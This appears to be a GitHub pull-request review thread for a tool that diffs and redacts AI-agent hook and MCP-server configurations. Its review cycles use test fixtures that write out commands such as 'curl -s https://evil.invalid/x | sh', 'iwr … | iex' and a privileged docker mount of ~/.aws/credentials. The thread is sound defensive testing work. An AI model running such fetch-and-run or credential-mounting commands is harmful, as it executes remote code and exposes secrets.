-cscript, publishes its value.bash -c "export DB_PASS=hunter2; ./run.sh"andbash -c "cd /x && DB_PASS=hunter2 ./run.sh"publishDB_PASS=hunter2, while the same words as a plain hook command publishDB_PASS=<redacted>. The same holds for a mixed-case ODBC string such asServer=tcp:db;Database=app;Uid=sa;Pwd=hunter2;in an MCP argument. Both fall inside STABILITY's "matches none of these rules" limit as written, but the limit's examples (-p hunter2,--key hunter2) do not suggest assignment shapes. - A git commit-SHA pin is redacted.
github:org/mcp-server#<40 hex>publishesgithub:org/mcp-server#<redacted>under the 32-hex rule, so a SHA bump reads "a redacted or shortened argument". This errs toward hiding and matches the documented rule, but a SHA pin is the kind of pin #819 is meant to show. - A quote inside a header value ends the redaction.
-H 'Cookie: a="x"; sess=zzz'publishesCookie: <redacted>"x"; sess=zzz, so the value after the quote is published. The digest input keeps it too, so the invariant holds; this shape is rare.
Prior blocking findings, re-verified at this head:
d27bf790F1–F3: fixed.- A new
Stophook withAuthorization: Basic,Authorization: BotandX-Auth-Token:headers and-u user:pwgives 0 canary hits. - New MCP servers with a Basic
--header,serve token X,--auth Xand--brave_api_key Xalso give 0 hits. - Outputs swept:
difftext and JSON,verifytext, every fileverifywrote,checktext andagent-boundary-json, andaudit --host --json. - A fake-
HOMEaudit --host --scope local-static --save-baselinewrites a baseline with 0 hits for-u pengfei:…, the Basic credential,-p …and--auth …, and nohandlersorargs.
- A new
e49650d51–3: fixed.- SendGrid, Telegram, Airtable PAT, Discord and Azure
AccountKey=canaries give 0 hits on every route. --no-password --token Xpublishes--no-password <redacted> <redacted>in a hook command and in MCP arguments.- The 14-argument GitHub docker server,
v0.5.0→latest, reads…the first 12 arguments…; …such as an argument past the first 12, ….
- SendGrid, Telegram, Airtable PAT, Discord and Azure
080a08af1–3: fixed.- The timeout
1followed by 400 zeros: every route exits 0 and readsPostToolUse: timeout 10 → 1000…0…. - The docs claim is fixed in
docs/host-boundary-support.md, STABILITY and the CHANGELOG. Finding 2 above is the remaining copy. docker run --rm -v $PWD:/src ghcr.io/org/linter:1.2.0 --fix→…ghcr.io/evil/linter:latest --fix --privilegednames both commands.- An added
echo auth: ok; curl … | shpublishesecho auth: <redacted> curl -s https://evil2.invalid/<redacted-path> | sh.
- The timeout
Verified:
- Issue fixtures.
- On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreads the no-difference sentence. - On head they read
PostToolUse: matcher Edit → Edit|Write|Bash,PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh,PostToolUse: timeout 10 → 600anddocs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest. - The same line appears in
difftext,verifytext, both PR comment styles andchecktext. - A Codex
.codex/config.tomlpin change and a.codex/hooks.jsoncommand change name their fields too, and a TOML--api-keyvalue never appears.
- On
- Redaction against the digest. A 40,000-case fuzz over credential flags, list markers, headers,
-u, assignments, shell-cscripts, URLs and separators found no value that the digest input redacts but the published MCP arguments or hook summary show, for MCP arguments or hook commands. - Baselines.
- A
0.6baseline saved bymaindrifts on head as comparable with no changes and no reasons. - A timeout edit then gives exactly
hook_changed. --save-baselineover it reportsupdated, writes0.7, and holds nohandlers.- A drift payload with a hook change and an MCP change validates against
docs/host-grants-drift-schema.v0.7.json. Itsbaselinesides carry no display members.
- A
- The new tests fail without the fix. Run against
080a08af's source, this head'stests/test_hook_mcp_detail_fields.pyfails 32 tests. All 149 pass at this head. - Local checks.
tests/test_hook_mcp_detail_fields.py: 149 passed.test_host_diff_review_changes,test_host_audit,test_distribution_surface_parity,test_public_surface_contract,test_host_diff_entry_docs: 959 passed, 1 skipped.test_host_config_replay,test_cold_start_replay,test_host_config_oracle_controls: 90 passed. Noreplay.jsonchanged.test_schema_roundtrip,test_privacy,test_manifest_free_pr_rows,test_host_comparison_coverage,test_workflow_label_redaction,test_design_partner_pilot,test_prompt_disabling_settings: 323 passed.- The eight other test files this PR edits: 299 passed, 3 skipped.
- Every other test file that references the redaction helpers,
redacted_config_sha256, the capability rows,review_changesor the baseline loader: 828 passed, 1 skipped. scripts/generate_schemas.py --checkpasses andruff check src tests scriptsis clean.
- CI: green on
ebe8558f: suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras.release-tag-consistencywas skipped.
ebe8558 to
9b2ceb5
Compare
|
Addressed review cycle 2. New head Rebased twice, and force-pushed with lease each time (first from #809 moves no version. Its conflicts were in #821 also moved the runtime contract to 41, so this PR now extends contract v41 in place, as the scope's rule says. The conflicts were in I re-ran the design-partner pilot fixture on the combined tree and on the exported BlockingC2R-1 (P2): quadratic display rules on repository-controlled text. Fixed, all three, plus three more of the same kind that timing each reader near the 1 MiB bound turned up. All changes are in
Timings, before → after. Wall time of each reader on the same machine:
Your CLI shapes on the new head, each on a real base/ Tests (in
C2R-2 (P2): quickstart's "says so" claim. Fixed. CI follow-up (
A 1 MiB word now splits and scans about 10× faster in the same process (0.051 s → 0.004 s, 0.145 s → 0.015 s, 0.125 s → 0.028 s). The many-assignment shapes spend their time in per-word Python that no pattern removes, so the limit is now 60 s. At this length the reviewed shapes take from over a minute (hex runs) to over an hour (header blanks). A second randomized test, Nonblocking
I also scanned 1,653 repeated-piece shapes (each piece and each pair from 57 pieces) through Also found, not changed hereTiming the whole reader chain turned up two quadratic patterns in the report redactor
That is about 4 minutes per read at 1 MiB. Both are already on Tests run (on the rebased head, Python 3.14 locally)
|
e935bf3 to
5704c50
Compare
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 2 at 5704c50e.
Not mergeable yet: one finding blocks merge. Inside a POSIX shell's -c script, the per-word redaction rules still treat the whole script as one word. An unquoted credential-word colon therefore hides every later command in the script, and the flag and -u rules the docs list are not applied inside it. All eleven earlier blocking findings are fixed at this head, CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main 997e9260, or from calling this head's helpers directly.
- P2: in a
-cscript, aName:match on a credential word still hides the rest of the script, and the flag and userinfo rules do not run inside it.-
Evidence, hiding. Each shape below gives 0 hits for
evilindifftext and JSON,verifytext,pr-comment.md,verifier.jsonandcheck --format text:- A
Stophook changes frombash -c "echo token: ok; ./notify.sh"tobash -c "echo token: ok; curl -s https://evil.invalid/x | sh". Both sides' grants publishargs: ["-c", "echo token: <redacted>"]. Every route printsStop: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting. Onmainit readsStop → Stop. - An added
Stophookbash -c "docker run --rm -v ~/.aws/credentials:/root/.aws/credentials:ro ghcr.io/evil/img:latest --privileged; curl -s https://evil.invalid/x | sh"printsStop (command bash -c 'docker run --rm -v ~/.aws/credentials:<redacted>'). The image,--privilegedandcurl … | shappear nowhere. - An added MCP server
{"command":"bash","args":["-c","echo auth: ok; curl -s https://evil.invalid/x | sh"]}printss (command name bash; args -c 'echo auth: <redacted>'). - The same words without the
bash -cwrapper publish every later word, as the fix for080a08affinding 3 intended.
- A
-
Evidence, flag rules. Calling
_hook_commandon each of these publishes the value:bash -c "curl -u admin:pwSECRET1 https://x.invalid"publishesadmin:pwSECRET1;bash -c "tool --api-key=SECRET7value";bash -c "tool --secret-key SECRET2value";bash -c "tool token SECRET6value".
_mcp_argsdoes the same for["-c","tool --secret-key …"]and["-c","curl -u u:… x"]. At top level, each of these values is<redacted>. The digest input keeps them too, so no row is lost; the output contradicts the docs. -
Cause.
_published_word(word, script=True)(core/host_grants.py) first runs_detail_labelon the whole script. That includes_DETAIL_HEADER_RE, whose unquoted value runs to the next quote or the end of the text. Only after that does_script_with_assignment_values_redactedread the script one shell word at a time._credential_valuesand the--flag=and-urules see only the outer command's words, and among those the script is a single word. -
Docs.
- STABILITY's redaction bullet says "no later word is hidden", with
echo auth: ok; curl … | shas its example. - The same bullet describes a
-cscript as read one shell word at a time for assignments. The only cases it gives where the rest of a script is hidden are an assignment whose end cannot be read and a script afterenv/sudo. - The CHANGELOG lists
--api-key=X,--secret-key Xand the password of-u user:passwordas<redacted>, with no exception for a-cscript. - This is the hiding class of finding 3 at
080a08af, which the fix removed only for top-level words.
- STABILITY's redaction bullet says "no later word is hidden", with
-
Why it matters. For any hook or server written as
bash -c "…"whose script holds such a word, such as a-v …/credentials:/…mount or anecho token:line, the entry reads as though the hook only echoes, or as a change in one redacted credential, while the command it runs has changed. -
Fix:
- For a script word, run the digest's string rule and the label rule on the whole script. Then apply the header rule, the next-word rule (
_credential_values) and the--flag=/-urules to each shell word of the script; the scan in_script_with_assignment_values_redactedalready finds those words. At minimum, end an unquoted header value inside a script at the whitespace,;,&or|that ends its shell word. - Add the three hiding shapes and the
-u,--api-key=,--secret-keyandtokenshapes to the tests. - If any part stays as it is, STABILITY and the CHANGELOG should say that inside a
-cscript only the string rules and the assignment rule apply.
- For a script word, run the digest's string rule and the label rule on the whole script. Then apply the header rule, the next-word rule (
-
Nonblocking (P3):
- A quoted credential assignment inside a non-shell script, or inside one argument, is published. Four examples:
pwsh -c "$env:API_KEY='abcSECRET1'; ./run.ps1",node -e "process.env.TOKEN='abcSECRET4'; …", the MCP argument--env=API_KEY='abcS1', and the single argumentexport API_KEY='abcS6'. The digest's assignment rule skips a value that starts with a quote, so the display-covers-the-digest invariant holds. The CHANGELOG's list of shapes that escape names only lower-case or non-credential names, though. - A git-ignored
.claude/settings.local.jsonin the working tree reaches the localpr-comment.md.diffandverifyagainst a working-tree head read it (read in head only). Its hooksshpass -p hunter2LOCAL ssh deploy@hostis printed inpr-comment.mdandverifier.json, wheremainprintedStoponly. A CI checkout never holds the file, and nothing posts a local comment, so this is within the documented limit. The docs raise the git-ignored file only for baselines. - The quadratic
jwtpattern inprivacy.redact_textis reachable through the new detail. A 320 KB MCP argument of-eyJrepeated 80,000 times takes 23.5 s fordiffon this head and 1.0 s onmain. As the address comment says, the problem is older than this PR: onmain, a workflow step withuses:and the same name takes 23.6 s fordiffand 22.6 s foraudit --host. I found no open issue for it. - The PR description is stale. It says
tests/test_hook_mcp_detail_fields.pyhas 149 tests; 172 are collected, including the near-bound timing tests and the equivalence tests. - Two small display gaps:
- A glued short-flag userinfo value,
-uuser:hunter2, is published, as-phunter2is documented to be. bash -lc 'source .env && TOKEN=$(cat t) run'rendersTOKEN=<redacted> t) run. The digest's rule takes$(catas the value before the script rule sees the substitution. Nothing leaks.
- A glued short-flag userinfo value,
Prior blocking findings, re-verified at this head:
d27bf790F1–F3: fixed.- A new
Stophook with-u pengfei:…,Authorization: Basic …andX-Auth-Token: …, and aSessionEndhook withAuthorization: Bot …, give 0 canary hits in 17 output files:difftext and JSON,verifytext, every fileverifywrote,checktext andagent-boundary-json, andaudit --host --json. - So do new MCP servers with a Basic
--header,serve token X,--auth Xand--brave_api_key X. - A fake-
HOMEaudit --host --scope local-static --save-baselinewrites a baseline with 0 hits forhunter2, the Basic credential andabcdEFGH1234, and with nohandlersorargs.
- A new
e49650d51–3: fixed.- SendGrid, Telegram, Mapbox, Airtable PAT, Discord and Azure
AccountKey=canaries give 0 hits on every route (SG.<redacted>.<redacted>,123456789:<redacted>,AccountName=acct;AccountKey=<redacted>). --no-password --token Xpublishes--no-password <redacted> <redacted>, and--use-token --api-key Xpublishes--use-token <redacted> <redacted>.- The 14-argument GitHub docker server (
v0.5.0→latest) reads…the first 12 arguments…; …such as an argument past the first 12, ….
- SendGrid, Telegram, Mapbox, Airtable PAT, Discord and Azure
080a08af1–3: fixed.- A timeout of
1followed by 400 zeros exits 0 and readsPostToolUse: timeout 10 → 1000…. docs/host-boundary-support.md, STABILITY and the CHANGELOG no longer claim that a digest-redacted value is still a row.- At top level,
docker run --rm -v $PWD:/src …names both images, and an addedecho auth: ok; curl … | shpublishes thecurl. Finding 1 above is the remaining-cscript case.
- A timeout of
ebe8558f1–2: fixed.- Three shapes,
token:followed by 128,000 blanks,sh -ccc…c1 xwith 64,000c, and 8,000 hex runs joined by., take 0.8–1.0 s fordiffand 1.5–1.8 s forcheck --format text. docs/quickstart.mdnow matches the CLI: thebillingserver's--api-key rotA1canary→rotB2canaryprintsNo static host-grant changes detected, and--secret-keygives the "redacted or shortened argument" entry.
- Three shapes,
Verified:
-
Issue fixtures. On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreads the no-difference sentence. On this head they read:PostToolUse: matcher Edit → Edit|Write|BashPostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | shPostToolUse: timeout 10 → 600docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
The pin entry appears in
difftext and JSON,verifytext,pr-comment.md,verifier.json,checktext andaudit --host --json. -
Projections agree.
- On a 10-row canary fixture, every
review.changesentry indiff --jsonequalshost_comparison.review.changesinverifier.json, and each entry's line appears indiff,verifyandchecktext and in both PR comment styles. rows[]equalsmain's, andcheck --format agent-boundary-jsonis identical tomain's apart from the launcher path.- Grant detail members appear only in
audit --host --json, never in averifyartifact.
- On a 10-row canary fixture, every
-
Local checks.
tests/test_hook_mcp_detail_fields.py: 172 passed. Onmainit fails at collection, because the symbols it imports do not exist there.- 81 more test files: the 11 other test files this PR edits, every test file that references the changed helpers, the baseline builder or loader, the host comparison, the capability rows, the schema or contract versions, or hook and MCP configuration, and the host-config, cold-start and oracle-control replays. All passed except
tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs, which fails the same way onmainunder this machine's Python 3.14 (TOMLDecodeErrorline and column). scripts/generate_schemas.py --checkpasses,scripts/build-llms-full.pyleaves no diff, andruff check src tests scriptsis clean.
-
CI: green on
5704c50e: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras.release-tag-consistencywas skipped.
5704c50 to
84d2c44
Compare
|
Addressed review cycle 2. New head Rebased, and force-pushed with lease from BlockingC2-851-1: inside a
Your shapes, called directly on the new head (hook
Every route. I ran
Tests in
Checked beyond the tests.
Docs:
Non-blocking
Tests run at the new head
|
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 3 at 84d2c44a.
Not mergeable yet: two findings block merge. Both are in the new shell-script word reading from cycle 2. First, the as-written reading of a -c script runs a fixed two words ahead of the redacted reading, so a credential it should catch is published once earlier text in the script has collapsed three or more words. Second, the next-word rule carries across ;, | and &&, so the first word of the next command is replaced, and a change to that word reads as "no difference". The cycle 2 finding and every earlier blocking finding are fixed at this head. CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main eff60d97, or from calling this head's helpers directly.
-
P2: inside a
-cscript, a credential that only the as-written reading catches is published when earlier text in the script collapses three or more words.- Evidence. These are added hooks and one added MCP server (
{"command":"bash","args":["-c", …]}), in one repository:bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic LEAKCANARY1"printsStop (command bash -c 'curl https://x.invalid/ echo Authorization: <redacted> LEAKCANARY1').bash -c "curl https://x.invalid/?a&b&c&d; t --no-password --token LEAKCANARY3"prints… t --no-password <redacted> LEAKCANARY3.- The MCP
args["-c", "curl https://x.invalid/?a&b&c&d; t --no-password --token LEAKCANARY2"]printargs -c '… t --no-password <redacted> LEAKCANARY2'. - Each canary appears 7 times: in
difftext and JSON,verify --format text,pr-comment.md,verifier.json,check --format textandaudit --host --json. Onmainthe rows name only the events, and the canary appears 0 times. - Control: the same suffixes with no prefix, or with a prefix that collapses only two words (
?a&b&c;), publish<redacted> <redacted>andadm:<redacted>. - A prefix of
TOKEN=a|b|c|dhas the same effect as the URL. So dot --auth -u u:Xandt --auth token Xafter it. - A near-1 MiB script of
?a&a&…followed byt --no-password --token XpublishesX.
- Cause.
_published_script(core/host_grants.py, lines 1440–1442) reads the as-written words "in step with these, two ahead", on the premise that "a rule that rewrites a word as a whole never adds or removes one". The whole-script string rule does remove words._URL_REruns to whitespace, so it takes an unquoted URL's&b&c&d;into the URL, and_sanitize_urlreduces all of it to one word;_ASSIGNMENT_SECRET_RE's value takesa|b|c|d. After three such words, the as-written reader has not reached the credential when the redacted reader publishes it.- The redacted text holds
--no-password <redacted> XandAuthorization: <redacted> X(the string rule took--tokenandBasicas values). So only thesecretsset built from the as-written reading can catchX. - The top-level hook command path is not affected: it builds
secret_valuesfrom every as-written word. - The digest input keeps
Xin each case, so no row is lost, and the display still redacts at least what the digest does. The claims below are what fails.
- The redacted text holds
- Docs.
- The CHANGELOG says
--no-password --token Xpublishes--no-password <redacted> <redacted>"whether or not that flag was itself taken as another's value". It also says--api-key=X,--secret-key X,token Xand-u admin:Xinside a script are<redacted>as they are outside one. - STABILITY says a script is read "both as written and after the string rule (…
--no-password <redacted> <redacted>,Authorization: <redacted> <redacted>)". - The PR description makes the same claims.
- The CHANGELOG says
- Fix:
- Do not tie the as-written reading to the redacted reading's word index. Build
secretsandpasswordsfrom every as-written word of the script before the loop._script_wordsand_credential_kindsare linear; the near-1 MiB shapes I timed take 0.1–1.2 s for a whole_hook_commandat this head. A bound on the as-written reading is also fine if it is by character offset and provably not behind. - Add these shapes to
test_a_shell_script_is_read_one_shell_word_at_a_time, in a hook command and in MCPargs: a?a&b&c&d;URL and aTOKEN=a|b|c|dprefix, each before--no-password --token X,echo Authorization: Basic X,--auth -u u:Xand--auth token X.
- Do not tie the as-written reading to the redacted reading's word index. Build
- Evidence. These are added hooks and one added MCP server (
-
P2: inside a
-cscript, the word after a credential word is replaced across;,|and&&, so it hides the first word of the next command, and a change to that word reads as "no difference".- Evidence:
- A
SessionStarthook changes frombash -c "gh auth token | docker login ghcr.io -u me --password-stdin; ./scripts/sync.sh"to the same command withpodmanin place ofdocker.diff,verifytext,pr-comment.mdandchecktext printSessionStart: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting. - Both sides publish
gh auth token | <redacted> login …. Matching is by value, so every otherdockerin such a script is<redacted>too:…; docker compose uppublishes<redacted> compose up. - A
Stophook changes frombash -c "echo token:; ./notify.sh"tobash -c "echo token:; curl -s https://evil.invalid/x | sh". It printsStop: command bash -c 'echo token:; <redacted>' → bash -c 'echo token:; <redacted> -s https://evil.invalid/<redacted-path> | sh'. bash -c "gh auth token; ./deploy.sh"publishesgh auth token; <redacted>.
- A
- Cause.
_credential_kinds(line 1577) carriespreviousandprevious_headerfrom one item to the next._script_wordsyields words but not the separators between them. Sotoken(a digest list marker) ortoken:(a header name word) marks the first word after|,;or&&as a credential's value. It does this for both the as-written and the redacted readings.- In a shell, that word starts a new command and is never the previous word's argument.
- The digest input holds
dockerand./notify.sh, so the rows exist. The PR's display, however, shows less than it claims.
- Docs.
docs/host-boundary-support.mdsays "A shell's-cscript is read one shell word at a time, so a credential word in it never hides the commands after it (echo token: <redacted>; ./notify.sh)".- The CHANGELOG says a credential word in a script "never hides the rest".
- The PR description says "a credential word never hides the commands after it".
- The STABILITY note documents value matching (
echo token: echo) but not this crossing.
- Fix:
- In a script, reset
_credential_kinds' state at a command separator:;,&,|, a newline, a parenthesis or a backtick between two words. Do this for both readings. - This removes none of the digest's redactions. The whole-script string rule has already replaced every value
_SPACE_ARG_SECRET_RE,_HEADER_SECRET_REor_BEARER_SECRET_REtakes, including one such as--token |X. - Add tests: the
docker→podmanchange above names the command, andecho token:; ./notify.shpublishes./notify.sh. - If the crossing is kept, state it in STABILITY, the CHANGELOG,
docs/host-boundary-support.mdand the PR description, and drop "never hides the commands after it".
- In a script, reset
- Evidence:
Nonblocking (P3):
- After
sudoorenv, or in a non-POSIX script, an unquoted credentialName:word still hides the rest of the script.sudo bash -c "echo token: ok; curl -s https://evil.invalid/x | sh"publishessudo bash -c echo token: <redacted>.env bash -c …andpwsh -c "echo token: ok; iwr https://evil.invalid/x | iex"do the same.- STABILITY says such a script "is read by the rule for any other word", but names only the assignment consequence (
X=<redacted>). A sentence saying that a credential header's value there also runs to the end of the script would make the limit explicit. Alternatively,_shell_script_indexcould skip a leadingsudoorenv.
- At top level, the word after a credential word is replaced even when it is
|,;or&&.gh auth token | docker login ghcr.io -u me --password-stdinpublishesgh auth token <redacted> docker login ghcr.io -u me. That reads as a secret argument, and the pipe is gone; value matching also replaces every other|in the command. The display only, and it can be fixed together with finding 2. - The known quadratic JWT pattern and
TOKEN=$(cat t) run→TOKEN=<redacted> t) runare unchanged, as the cycle 2 address comment says.
Prior blocking findings, re-verified at this head:
- Cycle 2 (
5704c50e): fixed for the reported shapes. A repository with the reported three edits (theStophook./notify.sh→curl … | shafterecho token: ok, thedocker … -v ~/.aws/credentials:… --privilegedhook and thebash -c "echo auth: ok; curl … | sh"MCP server), plus a hook holding-u admin:…,--api-key=…,--secret-key …andtoken …canaries, gives these results:Stop: command bash -c 'echo token: <redacted>; ./notify.sh' → bash -c 'echo token: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh'.SessionEnd (… ghcr.io/evil/img:latest --priv…), cut at the 80-character bound.s (command name bash; args -c 'echo auth: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh').evilappears 3 times in each ofdifftext and JSON,verifytext,pr-comment.md,verifier.jsonandchecktext. The canaries appear 0 times.- Called directly:
curl -u admin:<redacted>,--api-key=<redacted>,--secret-key <redacted>,token <redacted>,-uadmin:<redacted>andtool --no-password <redacted> <redacted>; run. - Quoted assignments publish
$env:API_KEY='<redacted>',process.env.TOKEN='<redacted>',--env=API_KEY='<redacted>'andexport API_KEY='<redacted>'. curl "https://x.invalid/a?token="abc123publisheshttps://x.invalid/<redacted-path>.
- Cycle 1 (
e49650d5): fixed.- A SendGrid-shaped key publishes
SG.<redacted>.<redacted>, a Mapbox-shaped onepk.<redacted>.<redacted>, a Discord-shaped one<redacted>.GhIjKl.<redacted>, a Telegram-shaped one123456789:<redacted>, and an Azure connection stringAccountName=acct;AccountKey=<redacted>. --no-password --token X --use-token --api-key Ypublishes--no-password <redacted> <redacted> --use-token <redacted> <redacted>.- The 16-argument docker server (
v0.5.0→latest) reads…the first 12 arguments…; …such as an argument past the first 12, …. - 0 canary hits on every route.
- A SendGrid-shaped key publishes
Verified:
-
Issue fixtures. On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreadsdocs: no difference in the command name npx, env key names or header key names; …. On this head,difftext,verify --format text,pr-comment.md,checktext,review.changes[].changeindiff --jsonandhost_comparison.review.changesinverifier.jsonall read:PostToolUse: matcher Edit → Edit|Write|BashPostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | shPostToolUse: timeout 10 → 600docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest
rows[]indiff --jsonequalsmain's for all four. -
PR comment. Backticks and newlines in a published command or argument stay inside code spans, using longer backtick runs and
\x0a. -
Performance. Near-1 MiB scripts of
;, quotes, backslashes,token:, assignments and&URLs take 0.1–1.2 s per_hook_commandand 0.1–0.9 s per_mcp_args. -
Tests fail without the fix. With the previous head's
core/host_grants.pyswapped into this tree, the cycle 2 tests fail: the script-route test, all six quoted-assignment, split-URL and glued--ucases, and the quoted-argument test. -
Local checks.
tests/test_hook_mcp_detail_fields.py: 202 collected, matching the description.- 51 test files, all passed except
tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs: 2,982 passed, 4 skipped, 1 failed. The files are the 12 this PR edits, every test file that references host grants, capability diff rows or the host-grants schema, the host-config, cold-start and oracle-control replays, the public surface contract and the entry docs. The one failure happens the same way onmainunder this machine's Python 3.14 (TOMLDecodeErrorline and column). scripts/generate_schemas.py --checkpasses.scripts/build-llms-full.pyleaves no diff.ruff check src tests scriptsis clean.
-
CI: green on
84d2c44a: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras.release-tag-consistencywas skipped.
…uments (#819) A hook row read `PostToolUse → PostToolUse` whether the edit was to the hook's matcher, its command or its timeout, and an MCP server whose version pin moved to `@latest` read as a change "in a detail this output does not show": the grants carried none of it, and only `config_sha256` saw the edit. Host-grants inventory, baseline and drift move to 0.7 and the runtime contract to 41. A hook grant adds `handlers[]` (each handler's group `matcher`, its `type`, a `command` summary `{env_keys, argv0, args, omitted_args}` and its `timeout`) and `omitted_handlers`; an `mcp_server` grant adds `args` and `omitted_args`. A declaration outside the documented hooks shape publishes `handlers: null` and its row says the detail is not shown. Plugin-selected and Codex hooks keep their loading basis. Every published word passes through the #802 label redaction, with `Bearer` values replaced first; the value after a credential-named flag, of an `env`-style `NAME=value` word and a generated-looking word are `<redacted>`; leading shell assignments keep only their names; a home path is written from `~`. Words are cut at 80 characters, eight words follow `argv0`, twelve MCP arguments and sixteen handlers are listed, and the text counts the rest. The members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out: a change is a row exactly when it was one before, a 0.6 baseline compares with no new row or reason and its digest still verifies, and `audit --host --save-baseline` may now replace a 0.6 baseline (older ones are still refused). The shared capability rows render the difference for hooks as they do for MCP servers: `PostToolUse: matcher Edit → Edit|Write|Bash`, `PostToolUse: timeout 10 → 600`, `PreToolUse: handler 2 timeout 5 → 50`, `docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest`, in `diff`, `verify` text, the PR comment and `check` text, and as `review.changes[].change` in `diff --json` and `verifier.json`. Row values, the row count, `check`'s boundary result and the envelope's `capability_rows` are unchanged; verifier 0.20 and capability diff 0.3 do not move. Measured against the prepared 1.1.0 commit e3c6cb0 on the 80 vendored benchmark cases: rows byte-identical on all 80, 42 entries on 35 cases gain detail, and all 7 changed hook/MCP entries that were content-free now name their field. The benchmark replays reproduce their run-of-record scores, and the route readiness dry run was rerun for the contract bump (identical cells apart from the two version numbers). Tests: tests/test_hook_mcp_detail_fields.py covers the issue's four fixtures on every route, the published v0.7 schemas, redaction of a token in a command, a secret positional argument, env-style assignments and an over-length command, display-only equality and digests, 0.6 baseline compatibility and re-save, loading basis, and the out-of-shape limit.
Refs #819 A header credential after any scheme other than Bearer was published. The label rule replaces only the first word after `Authorization:`, and the detail pre-pass special-cased only `Bearer`, so `Authorization: Basic <credential>` printed as `Authorization: <redacted> <credential>` in hook commands and MCP arguments on every route, and `Authorization: Bot <token>`, `X-Auth-Token: <token>` and `api-key: <token>` printed their token. `_detail_label` now runs the label rule and then replaces the whole value of a credential written `Name: value`, the scheme included, up to the closing quote or the end of the text: `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). All three schemes now publish `Authorization: <redacted>`. The name only starts where a run of name characters starts, so the scan stays linear. The Bearer pre-pass is no longer needed and is gone. `audit --host --save-baseline` wrote hook commands and MCP arguments into the committed baseline, including ones read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope. Those values were never in the repository, and a short positional password such as `-p hunter2` matches no word rule. A saved baseline now holds each grant as comparisons read it (`compared_grant`), with no `handlers`, `omitted_handlers`, `args` or `omitted_args`. `HostGrantsBaselineV7` keeps the 0.6 snapshot, which forbids those members, so a saved 0.7 baseline's grants are exactly a 0.6 baseline's. Nothing read them before. `inventory_sha256` is unchanged: the reviewer's fake-HOME reproduction gives the same `5e406f56cd73…` digest before and after, with 4 leaked values before and 0 after. A comparison between two commits still renders both sides' detail through `host_comparison_baseline`, which applies the saved baseline's checks to the full normalized inventory and is never saved. MCP-argument redaction is now at least what the digest's input redacts. The word after any item the digest's list rule treats as a credential marker is `<redacted>`, with or without dashes (`token X`, `password X`); that rule is factored into `_is_list_secret_marker`, which the digest and the display share. `--auth X` is redacted, as the hook string rule already did. A flag name is read with every character but letters and digits removed, so `--brave_api_key` matches the `apikey` ending. From the non-blocking notes: `-u`/`--user`/`-U`/`--proxy-user` values keep the user and lose the password after `:`. A timeout of `5` becoming `5.0` now reads `timeout 5 → 5.0`, because handler fields are compared as their JSON publishes them. Tests: the credential canary sweep adds a Basic header, a custom `X-Auth-Token` header and `-u user:password` in a hook, and a Basic header, an `api-key:` header, a bare `token`, `--auth` and `--brave_api_key` in MCP arguments. It now also checks the saved baseline. The per-argument rule test takes lists, so it pins the next-word cases the reviewer named. A new test checks that every argument the digest's input redacts is published redacted. A local-static baseline saved with a fake HOME holds none of its hook or MCP values while the inventory still shows them, and still compares with no drift. A repository baseline holds nothing from `.claude/settings.local.json`. `5` to `5.0` names both values. The baseline 0.7 schema is regenerated, which differs from 0.6 only in its version. STABILITY's migration note gains a Saved baselines bullet, its redaction bullet is restated, and "a hand edit to a baseline's copy" is gone because there is no copy. The CHANGELOG, host-boundary support doc, agent contract and distribution-surfaces row now say the same, and the row's redaction claim is narrowed to "permission-rule argument redaction". llms-full.txt is rebuilt. `diff --json` over the 80 vendored benchmark cases gives rows byte-identical to the prepared 1.1.0 commit on all 80. Review entries are identical to the previous head on all 80, and 42 entries on 35 cases differ from 1.1.0, as the CHANGELOG states. Rebased onto main after #853 moved the published-release pins to v1.1.0. The conflict resolutions landed in the rebased first commit. The README and quickstart quotes now include the `billing` server's `args`, which the published 1.1.0 does not print, so `test_host_diff_entry_docs` requires both pages to use the not-yet-released label. Each page names the published `1.1.0` and says what it prints instead. llms.txt and the AI-search summary name v1.1.0 (contract 40) as published and this tree's contract 41 as unreleased. The pilot ledger keeps main's 2026-09-22 v1.1.0 measurement and the #819 source-tree rerun beside the 1.1.0 release commit, and its source-tree column reads contract 41 and inventory schema 0.7.
